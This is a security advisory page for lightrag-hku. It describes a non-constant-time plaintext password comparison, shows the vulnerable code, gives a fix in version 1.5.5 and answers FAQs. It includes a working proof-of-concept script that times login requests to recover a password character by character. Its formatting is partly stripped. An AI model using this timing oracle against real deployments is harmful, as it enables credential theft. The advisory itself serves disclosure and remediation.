GHSA-c759-cx9p-mrwq: Medium severity pip/lightrag-hku vulnerability

Published Sep 22, 2026
·
Updated

Summary When plaintext passwords are stored in AUTHACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

python lightrag/api/passwords.py:13-26 def verifypassword(plainpassword: str, storedpassword: str) -> bool: if storedpassword.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK

return storedpassword == plainpassword # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters

PoC

python Timing oracle: recover password char-by-char import httpx, time, string

TARGET = "http://<TARGET>:9621/login" USER = "admin"

def measure(pwd: str) -> float: t = time.perfcounter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perfcounter() - t

known = "" for in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"20) for in range(10))) known += best print(f"Recovered: {known}")

Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTHACCOUNTS.

Affected Software

1 affected componentFixes available
pip/lightrag-hku<=1.5.4
1.5.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lightrag-hku to a version that resolves this vulnerability.

    Fixed in 1.5.5

Event History

Sep 22, 2026
Advisory Published
via GitHub·08:40 PM
Data Sourced
via GitHub·08:40 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this timing attack?

Deployments are exposed when AUTH_ACCOUNTS stores plaintext passwords. Accounts whose stored passwords use the {bcrypt} format use bcrypt.checkpw instead, which is described as constant-time.

2

What access does an attacker need to exploit the issue?

An attacker does not need authentication or user interaction, but needs low-latency access to the login endpoint. They can make repeated password attempts and use response timing differences to infer the password length and recover characters incrementally.

3

What can be done if a patch cannot be applied immediately?

Avoid storing passwords in plaintext in AUTH_ACCOUNTS and use the {bcrypt} password format so verification follows the bcrypt constant-time path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203